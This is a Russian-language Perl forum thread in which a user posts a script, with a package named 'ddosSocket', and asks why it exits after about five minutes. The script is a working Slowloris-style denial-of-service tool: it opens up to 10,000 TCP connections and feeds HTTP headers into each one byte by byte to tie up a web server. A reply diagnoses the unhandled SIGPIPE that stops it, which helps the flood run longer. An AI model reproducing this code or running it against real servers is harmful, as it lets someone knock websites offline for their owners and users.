Модераторы: korob2001, ginnie
  

Поиск:

Ответ в темуСоздание новой темы Создание опроса
> Скрипт завершается, хотя не должен, Примерно через 5 минут после работы, 
:(
    Опции темы
sage77
Дата 18.6.2011, 01:04 (ссылка)    | (голосов:3) Загрузка ... Загрузка ... Быстрая цитата Цитата


Новичок



Профиль
Группа: Участник
Сообщений: 1
Регистрация: 18.6.2011

Репутация: нет
Всего: нет



Примерно через 5 минут после работы, скрипт завершается. Что может быть? 

Код

#/usr/bin/perl -w

use strict;
use Socket;
use EV;


{
package  ddosSocket;
        use Socket;
        $|=1;
        sub new {
                my $self=$_[1];
                bless $self;
                return $self;
        }

        sub reopen_socket{
                my ($self)=@_;
                socket($self->{socket}, PF_INET, SOCK_STREAM, getprotobyname('tcp'));
                connect($self->{socket}, sockaddr_in($self->{port},inet_aton($self->{host})));

                send ($self->{socket}, "GET / HTTP/1.1\r\n", 0);

                my $data='SOSNOOLEY';
                my $buf="User-Agent: Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.7.62 Version/11.01\r\n";
                $buf.="Host: $self->{host}
                .ru\r\n";
                $buf.="Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\n";
                $buf.="Accept-Language: ru,ru-RU;q=0.9,en;q=0.8\r\n";
                $buf.="Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\n";
                $buf.="Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0\r\n";
                $buf.="Referer: http://$self->{host}/\r\n";
                $buf.="If-Modified-Since: Sun, 06 Mar 2011 14:24:17 GMT\r\n";
                $buf.="Connection: Keep-Alive, TE\r\n";
                $buf.="TE: deflate, gzip, chunked, identity, trailers\r\n";
                $buf.="Content-Length: ".length($data)."\r\n";
                $buf.="\r\n";

                $self->{simb}=[split '',$buf];

        }

        sub send_byte{
                my ($self)=@_;

                if($_ = shift @{$self->{simb}}){
                                send ($self->{socket},$_, 0);
                        #       print $_;
                        }
                        else
                        {
                                $self->reopen_socket();
                        }
        }
'nya-nyak';
}



my $loop = EV::Loop->new;


our @events;
my $storage={};

push @events, $loop->timer (0.1, 0.1, sub {
                my ($w)=@_;
                $storage->{cnt}++;
                        my $s=ddosSocket->new({host=>'localhost', port => 80});
                                push @events, $loop->periodic (0, 1, 0, sub {
                                my ($w)=@_;
                                $s->send_byte;
                        });
                $w->stop if($storage->{cnt}>10000)
        });

$loop->loop;


PM MAIL   Вверх
sir_nuf_nuf
Дата 18.6.2011, 12:31 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Опытный
**


Профиль
Группа: Участник
Сообщений: 920
Регистрация: 6.1.2008

Репутация: 14
Всего: 31



Это может быть конец программы. Ну серьезно, у программ бывают концы.

А вообще, вставьте через строку отладку и посмотрите где все отваливается.

Запустите в режиме отладке... отладчик при выходе кажется печатает где это случилось.

Постмотрите код выхода программы - узнаете сама программа завершилась или по сигналу.


--------------------
user posted image
user posted image
PM MAIL Jabber   Вверх
afiskon
Дата 18.6.2011, 14:31 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Опытный
**


Профиль
Группа: Участник
Сообщений: 294
Регистрация: 31.3.2011
Где: Россия, Москва

Репутация: нет
Всего: 4



Нет обработчика SIGPIPE. Классика жанра. Если сервер закроет соединение, а вы попытаетесь писать в сокет, приложение получит SIGPIPE, которые его и убъет. Вообще-то, вы могли это определить по коду возврата.
PM MAIL WWW   Вверх
  
Ответ в темуСоздание новой темы Создание опроса
Правила форума "Perl"
korob2001
sharq
  • В этом разделе обсуждаются общие вопросы по языку Perl
  • Если ваш вопрос относится к системному программированию, задавайте его здесь
  • Если ваш вопрос относится к CGI программированию, задавайте его здесь
  • Интерпретатор Perl можно скачать здесь ActiveState, O'REILLY, The source for Perl
  • Справочное руководство "Установка perl-модулей", можно скачать здесь


Если Вам понравилась атмосфера форума, заходите к нам чаще! С уважением, korob2001, sharq.

 
0 Пользователей читают эту тему (0 Гостей и 0 Скрытых Пользователей)
0 Пользователей:
« Предыдущая тема | Perl: Общие вопросы | Следующая тема »


 




[ Время генерации скрипта: 0.0421 ]   [ Использовано запросов: 22 ]   [ GZIP включён ]


Реклама на сайте     Информационное спонсорство

 
По вопросам размещения рекламы пишите на vladimir(sobaka)vingrad.ru
Отказ от ответственности     Powered by Invision Power Board(R) 1.3 © 2003  IPS, Inc.